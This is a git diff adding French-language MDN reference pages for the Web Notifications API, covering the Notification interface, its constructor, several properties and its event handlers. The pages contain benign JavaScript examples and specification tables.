+<p>La propriété en lecture seule <strong><code>icon</code></strong> de l'interface {{domxref ("Notification")}} contient l'URL d'une icône à afficher dans le cadre de la notification, comme définis à l'aide de l'option <code>icon</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification"," Notification()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.icon
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("USVString")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-icon','icon')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.icon")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/image/index.html b/files/fr/web/api/notification/image/index.html
new file mode 100644
index 0000000000..bfbb48f984
--- /dev/null
+++ b/files/fr/web/api/notification/image/index.html
@@ -0,0 +1,53 @@
+---
+title: Notification.image
+slug: Web/API/notification/image
+tags:
+  - API
+  - API Notifications
+  - Image
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/image
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>image</strong></code> de l'interface {{domxref ("Notification")}} contient l'URL d'une image à afficher dans le cadre de la notification, comme définis à l'aide de l'option <code>image</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification"," Notification()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.image</pre>
+
+<h3 id="Value" name="Value">Valeur</h3>
+
+<p>Une {{domxref("USVString")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#image-resource','image')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.image")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/index.html b/files/fr/web/api/notification/index.html
new file mode 100644
index 0000000000..a31557abc2
--- /dev/null
+++ b/files/fr/web/api/notification/index.html
@@ -0,0 +1,179 @@
+---
+title: Notification
+slug: Web/API/notification
+tags:
+  - API
+  - API Notifications
+  - Interface
+  - Notifications
+  - Reference
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">L'interface Notification de l'<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API">API Notifications</a> est utilisée pour configurer et afficher les notifications de bureau à l'utilisateur. L'apparence et les fonctionnalités spécifiques de ces notifications varient selon les plates-formes, mais elles permettent généralement de fournir des informations de manière asynchrone à l'utilisateur.</span></p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>Créer une nouvelle instance de l'object <code>Notification</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<h3 id="Propriétés_statiques">Propriétés statiques</h3>
+
+<p><em>Ces propriétés ne sont disponibles que sur l'objet </em><code>Notification</code> <em>lui-même.</em></p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne représentant l'autorisation actuelle d'afficher les notifications. Les valeurs possibles sont:
+ <ul>
+  <li><code>denied</code> — L'utilisateur refuse d'afficher des notifications.</li>
+  <li><code>granted</code> — L'utilisateur accepte d'afficher des notifications.</li>
+  <li><code>default</code> — Le choix de l'utilisateur est inconnu et donc le navigateur agira comme si la valeur était refusée.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("Notification.maxActions")}} {{readonlyinline}}</dt>
+</dl>
+
+<h3 id="Propriétés_de_linstance">Propriétés de l'instance</h3>
+
+<p><em>Ces propriétés ne sont disponibles que sur les instances de l'objet </em><code>Notification</code><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>Tableau d'actions de la notification comme spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>L'URL de l'image utilisée pour représenter la notification lorsqu'il n'y a pas assez d'espace pour afficher la notification elle-même.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne représentant le corps de la notification telle que spécifiée dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Renvoie un clone structuré des données de la notification.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>La direction du texte de la notification comme spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>Code de langue de la notification tel que spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>L'ID de la notification (le cas échéant) tel que spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>L'URL de l'image utilisée comme icône de la notification comme spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>L'URL d'une image à afficher dans le cadre de la notification, comme spécifié dans le paramètre <code>options</code> du constructeur.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>Spécifie si l'utilisateur doit être averti après qu'une nouvelle notification remplace l'ancienne.</dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>Un {{jsxref ("Boolean")}} indiquant qu'une notification doit rester active jusqu'à ce que l'utilisateur clique dessus ou la rejette, plutôt que de se fermer automatiquement.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Spécifie si la notification doit être silencieuse, c'est-à-dire qu'aucun son ou vibration ne doit être émis, quels que soient les paramètres de l'appareil.</dd>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>Spécifie l'heure à laquelle une notification est créée ou applicable (passée, présente ou future).</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>Le titre de la notification tel que spécifié dans le premier paramètre du constructeur.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Spécifie un modèle de vibration pour les périphériques dotés d'un matériel de vibration à émettre.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévénements">Gestionnaires d'événements</h3>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Un gestionnaire pour l'événement {{domxref ("Element/click_event", "click")}}. Il est déclenché à chaque fois que l'utilisateur clique sur la notification.</dd>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>Un gestionnaire pour l'événement {{domxref ("HTMLDialogElement/close_event", "close")}}. Il est déclenché lorsque l'utilisateur ferme la notification.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>Un gestionnaire pour l'événement {{domxref ("HTMLElement/error_event", "error")}}. Il est déclenché chaque fois que la notification rencontre une erreur.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>Un gestionnaire pour l'événement {{domxref ("Element/show_event", "show")}}. Il est déclenché lorsque la notification est affichée.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Méthodes_statiques">Méthodes statiques</h3>
+
+<p><em>Ces méthodes ne sont disponibles que sur l'objet </em><code>Notification</code> <em>lui-même.</em></p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>Demande l'autorisation à l'utilisateur d'afficher les notifications.</dd>
+</dl>
+
+<h3 id="Méthodes_dinstance">Méthodes d'instance</h3>
+
+<p><em>Ces propriétés ne sont disponibles que sur une instance de l'objet </em><code>Notification</code><em> ou via son </em><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a><em>. L'objet </em><code>Notification</code><em> hérite également de l'interface {{domxref ("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Ferme programmatiquement une instance de notification.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Supposons ce HTML de base:</p>
+
+<pre class="brush: html notranslate">&lt;button onclick="notifyMe()"&gt;Notifie moi !&lt;/button&gt;</pre>
+
+<p>Il est possible d'envoyer une notification comme suit - nous présentons ici un ensemble de code assez détaillé et complet que vous pourriez utiliser si vous vouliez d'abord vérifier si les notifications sont prises en charge, puis vérifiez si l'autorisation a été accordée pour l'{{glossary("Origin","origine")}} actuelle d'envoyer des notifications, puis demander l'autorisation si nécessaire, avant d'envoyer une notification.</p>
+
+<pre class="brush: js notranslate">function notifyMe() {
+  // Vérifions si le navigateur prend en charge les notifications
+  if (!('Notification' in window)) {
+    alert('Ce navigateur ne prend pas en charge la notification de bureau')
+  }
+
+  // Vérifions si les autorisations de notification ont déjà été accordées
+  else if (Notification.permission === 'granted') {
+    // Si tout va bien, créons une notification
+    const notification = new Notification('Salut toi!')
+  }
+
+  // Sinon, nous devons demander la permission à l'utilisateur
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission().then((permission) =&gt; {
+      // Si l'utilisateur accepte, créons une notification
+      if (permission === 'granted') {
+        const notification = new Notification('Salut toi!')
+      }
+    })
+  }
+
+  // Enfin, si l'utilisateur a refusé les notifications, et que vous
+  // voulez être respectueux, il n'est plus nécessaire de les déranger.
+}
+</pre>
+
+<p>Nous ne montrons plus d'exemple en direct sur cette page, car Chrome et Firefox n'autorisent plus les demandes de notification des {{htmlelement ("iframe")}}s d'origine croisée, avec d'autres navigateurs à suivre. Pour voir un exemple en action, consultez notre <a href="https://github.com/mdn/to-do-notifications/tree/gh-pages">exemple de liste de tâches</a> (voir également l'<a href="https://mdn.github.io/to-do-notifications/">application en cours d'exécution</a>.)</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: dans l'exemple ci-dessus, nous générons des notifications en réponse à un geste de l'utilisateur (en cliquant sur un bouton). Il ne s'agit pas seulement d'une bonne pratique - vous ne devriez pas envoyer de spam aux utilisateurs avec des notifications qu'ils n'acceptent pas - mais les navigateurs suivants interdiront explicitement les notifications non déclenchées en réponse à un geste de l'utilisateur. Firefox le fait déjà depuis la version 72, par exemple.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/lang/index.html b/files/fr/web/api/notification/lang/index.html
new file mode 100644
index 0000000000..6a0d93759f
--- /dev/null
+++ b/files/fr/web/api/notification/lang/index.html
@@ -0,0 +1,55 @@
+---
+title: Notification.lang
+slug: Web/API/notification/lang
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+translation_of: Web/API/Notification/lang
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>lang</code></strong> de l'interface {{domxref ("Notification")}} indique la langue utilisée dans la notification, comme définis à l'aide de l'option <code>lang</code> lors de la création de la notification à l'aide du constructeur {{domxref ("Notification.Notification", "Notification()" )}}.</span></p>
+
+<p>La langue elle-même est spécifiée à l'aide d'un {{domxref ("DOMString")}} représentant <a href="http://www.rfc-editor.org/rfc/bcp/bcp47.txt">une balise de langue BCP 47</a>. Consultez la page des <a href="http://www.sitepoint.com/web-foundations/iso-2-letter-language-codes/">codes de langue à 2 lettres ISO</a> de Sitepoint pour une référence simple.</p>
+
+<h2 id="Syntaxz">Syntaxz</h2>
+
+<pre class="syntaxbox notranslate"><var>N</var><var>otification</var>.lang
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une {{domxref("DOMString")}} spécifiant la balise de langue.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-lang','lang')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.lang")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/maxactions/index.html b/files/fr/web/api/notification/maxactions/index.html
new file mode 100644
index 0000000000..75c6bb0192
--- /dev/null
+++ b/files/fr/web/api/notification/maxactions/index.html
@@ -0,0 +1,65 @@
+---
+title: Notification.maxActions
+slug: Web/API/notification/maxActions
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - actions
+translation_of: Web/API/Notification/maxActions
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>L'attribut <strong><code>maxActions</code></strong> de l'interface {{domxref ("Notification")}} renvoie le nombre maximal d'actions prises en charge par l'appareil et l'agent utilisateur. En effet, c'est le nombre maximum d'éléments dans le tableau {{domxref ("Notification.actions")}} qui seront respectés par l'agent utilisateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.maxActions
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un entier {{JSxRef ("Number")}} qui indique le plus grand nombre d'actions de notification pouvant être présentées à l'utilisateur par l'agent utilisateur et l'appareil.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'extrait de code suivant enregistre le nombre maximal d'actions prises en charge.</p>
+
+<pre class="brush: js notranslate">const { maxActions } = Notification
+console.log(`This device can display at most ${maxActions} actions on each notification.`);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Notifications")}}</td>
+   <td>{{Spec2("Web Notifications")}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.maxActions")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+ <li>{{domxref("Notification.actions")}}</li>
+</ul>
diff --git a/files/fr/web/api/notification/notification/index.html b/files/fr/web/api/notification/notification/index.html
new file mode 100644
index 0000000000..7a88a02ec3
--- /dev/null
+++ b/files/fr/web/api/notification/notification/index.html
@@ -0,0 +1,98 @@
+---
+title: Notification()
+slug: Web/API/notification/Notification
+tags:
+  - API
+  - API Notifications
+  - Constructeur
+  - Notification
+  - Notifications
+  - Reference
+translation_of: Web/API/Notification/Notification
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">Le constructeur <strong><code>Notification()</code></strong> crée une nouvelle instance d'objet {{domxref ("Notification")}}, qui représente une notification utilisateur.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const <var>myNotification</var> = new Notification(<var>title</var>, <var>options</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>title</var></code></dt>
+ <dd>Définit un titre pour la notification, qui s'affiche en haut de la fenêtre de notification.</dd>
+ <dt><code><var>options</var></code> {{optional_inline}}</dt>
+ <dd>Un objet d'options contenant tous les paramètres personnalisés que vous souhaitez appliquer à la notification. Les options possibles sont:
+ <ul>
+  <li><code>dir</code>: La direction dans laquelle afficher la notification. La valeur par défaut est <code>auto</code>, qui adopte simplement le comportement du paramètre de langue du navigateur, mais vous pouvez remplacer ce comportement en définissant les valeurs de <code>ltr</code> et <code>rtl</code> (bien que la plupart des navigateurs semblent ignorer ces paramètres.)</li>
+  <li><code>lang</code>: La langue de la notification, telle que spécifiée à l'aide d'un {{domxref ("DOMString")}} représentant une <a href="http://www.rfc-editor.org/rfc/bcp/bcp47.txt">balise de langue BCP 47</a>. Consultez la page des <a href="http://www.sitepoint.com/web-foundations/iso-2-letter-language-codes/">codes de langue à 2 lettres ISO</a> de Sitepoint pour une référence simple.</li>
+  <li><code>badge</code>: Un {{domxref ("USVString")}} contenant l'URL de l'image utilisée pour représenter la notification lorsqu'il n'y a pas assez d'espace pour afficher la notification elle-même.</li>
+  <li><code>body</code>: Un {{domxref ("DOMString")}} représentant le corps du texte de la notification, qui est affiché sous le titre.</li>
+  <li><code>tag</code>: Un {{domxref ("DOMString")}} représentant un tag d'identification pour la notification.</li>
+  <li><code>icon</code>: Une {{domxref ("USVString")}} contenant l'URL d'une icône à afficher dans la notification.</li>
+  <li><code>image</code>: Une {{domxref ("USVString")}} contenant l'URL d'une image à afficher dans la notification.</li>
+  <li><code>data</code>: Données arbitraires que vous souhaitez associer à la notification. Elles peuvent être de n'importe quel type de données.</li>
+  <li><code>vibrate</code>: Un <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration#Vibration_patterns">modèle de vibration</a> que le matériel de vibration de l'appareil émet avec la notification.</li>
+  <li><code>renotify</code>: Un {{domxref ("Boolean")}} spécifiant si l'utilisateur doit être notifié après qu'une nouvelle notification remplace l'ancienne. La valeur par défaut est <code>false</code>, ce qui signifie qu'ils ne seront pas notifiés.</li>
+  <li><code>requireInteraction</code>: Un {{domxref ("Boolean")}} indiquant qu'une notification doit rester active jusqu'à ce que l'utilisateur clique dessus ou la rejette, plutôt que de se fermer automatiquement. La valeur par défaut est <code>false</code>.</li>
+  <li><code>actions</code>: Un tableau de {{domxref ("NotificationAction")}} représentant les actions disponibles pour l'utilisateur lorsque la notification est présentée. Ce sont des options parmi lesquelles l'utilisateur peut choisir pour agir sur l'action dans le contexte de la notification elle-même. Le nom de l'action est envoyé au gestionnaire de notifications du service worker pour lui faire savoir que l'action a été sélectionnée par l'utilisateur.</li>
+  <li><code>silent</code>: Un {{domxref ("Boolean")}} spécifiant si la notification est silencieuse (aucun son ni vibration émis), quels que soient les paramètres de l'appareil. La valeur par défaut est <code>false</code>, ce qui signifie qu'il ne sera pas silencieux.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans notre <a href="https://chrisdavidmills.github.io/emogotchi/">démo Emogotchi</a> (<a href="https://github.com/mdn/emogotchi">voir le code source</a>), nous exécutons une fonction <code>spawnNotification()</code> lorsque nous voulons déclencher une notification. La fonction reçoit des paramètres pour spécifier le corps, l'icône et le titre souhaités, puis elle crée l'objet <code>options</code> nécessaire et déclenche la notification à l'aide du constructeur <code>Notification()</code>.</p>
+
+<pre class="brush: js notranslate">function spawnNotification(theBody, theIcon, theTitle) {
+  const options = {
+    body: theBody,
+    icon: theIcon
+  }
+  const n = new Notification(theTitle, options)
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Notifications","#dom-notification-notification","Notification() constructor")}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.Notification")}}</p>
+
+<h3 id="Notes_Chrome">Notes Chrome</h3>
+
+<p>À partir de Chrome 49, les notifications ne fonctionnent pas en mode navigation privée.</p>
+
+<p>{{Page("/en-US/docs/Web/API/Notifications_API", "Chrome notes")}}</p>
+
+<h3 id="Notes_Internet_Explorer">Notes Internet Explorer</h3>
+
+<p>La version 38.14352 et celles supérieure de MS Edge prend en charge l'<code>API Notification</code>. <a href="https://en.wikipedia.org/wiki/Microsoft_Edge#Release_history">Wikipédia - MS Edge</a><br>
+ IE 11 et inférieur n'est pas pris en charge.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/onclick/index.html b/files/fr/web/api/notification/onclick/index.html
new file mode 100644
index 0000000000..209d7c519f
--- /dev/null
+++ b/files/fr/web/api/notification/onclick/index.html
@@ -0,0 +1,63 @@
+---
+title: Notification.onclick
+slug: Web/API/notification/onclick
+tags:
+  - API
+  - DOM
+  - Notifications
+  - Propriété
+  - Reference
+  - onclick
+translation_of: Web/API/Notification/onclick
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p>La propriété <strong><code>onclick</code></strong>, rattachée à l'interface {{domxref("Notification")}}, définit un gestionnaire d'évènement à déclencher lorsque la notification recçoit un évènement {{event("click")}} (qui se produit lorsqu'un utilisateur clique sur la notification).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>Notification</em>.onclick = function(event) { ... };
+</pre>
+
+<p>Le comportement par défaut consiste à déplacer le focus sur la zone d'affichage (<em>viewport</em>) du <a href="https://html.spec.whatwg.org/multipage/browsers.html#browsing-context">contexte de navigation</a> de la notification. Pour éviter ce comportement, on pourra appeler la méthode <code><a href="/fr/docs/Web/API/Event/preventDefault">preventDefault()</a></code> sur l'objet représentant l'évènement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on utilise le gestionnaire d'évènement <code>onclick</code> pour ouvrir une page dans un nouvel onglet (avec le paramètre <code>'_blank'</code>) lorsqu'on clique sur la notification :</p>
+
+<pre class="brush: js">notification.onclick = function(event) {
+  event.preventDefault(); // empêcher le navigateur de passer le focus sur l'onglet de la navigation
+  window.open('http://www.mozilla.org', '_blank');
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-onclick','onclick')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Standard évolutif</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Notification.onclick")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/fr/docs/Web/API/notification/Using_Web_Notifications">Utiliser l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/onclose/index.html b/files/fr/web/api/notification/onclose/index.html
new file mode 100644
index 0000000000..2f3b5d6781
--- /dev/null
+++ b/files/fr/web/api/notification/onclose/index.html
@@ -0,0 +1,35 @@
+---
+title: Notification.onclose
+slug: Web/API/notification/onclose
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - onclose
+translation_of: Web/API/Notification/onclose
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>onclose</code></strong> de l'interface {{domxref ("Notification")}} définit un écouteur d'événements pour recevoir les événements {{domxref ("HTMLDialogElement/close_event", "close")}}. Ces événements se produisent lorsqu'une {{domxref ("Notification")}} est fermée.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.onclose = function(event) { ... }
+Notification.onclose = (event) =&gt; { ... }
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Notification.onclose")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Utilisation de l'API Notifications</a></li>
+</ul>
diff --git a/files/fr/web/api/notification/onerror/index.html b/files/fr/web/api/notification/onerror/index.html
new file mode 100644
index 0000000000..67554d5a83
--- /dev/null
+++ b/files/fr/web/api/notification/onerror/index.html
@@ -0,0 +1,54 @@
+---
+title: Notification.onerror
+slug: Web/API/notification/onerror
+tags:
+  - API
+  - API Notifications
+  - Notification
+  - Notifications
+  - Propriété
+  - Reference
+  - onerror
+translation_of: Web/API/Notification/onerror
+---
+<p>{{APIRef("Web Notifications")}}{{AvailableInWorkers}}{{securecontext_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>onerror</code></strong> de l'interface {{domxref ("Notification")}} spécifie un écouteur d'événements pour recevoir les événements {{domxref ("HTMLElement/error_event", "error")}}. Ces événements se produisent lorsque quelque chose ce déroule mal avec une {{domxref ("Notification")}}</span> (dans de nombreux cas, une erreur qui empêche l'affichage de la notification.)</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>Notification</var>.onerror = function(event) { ... }
+<var>Notification</var>.onerror = (even) =&gt; { ... }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
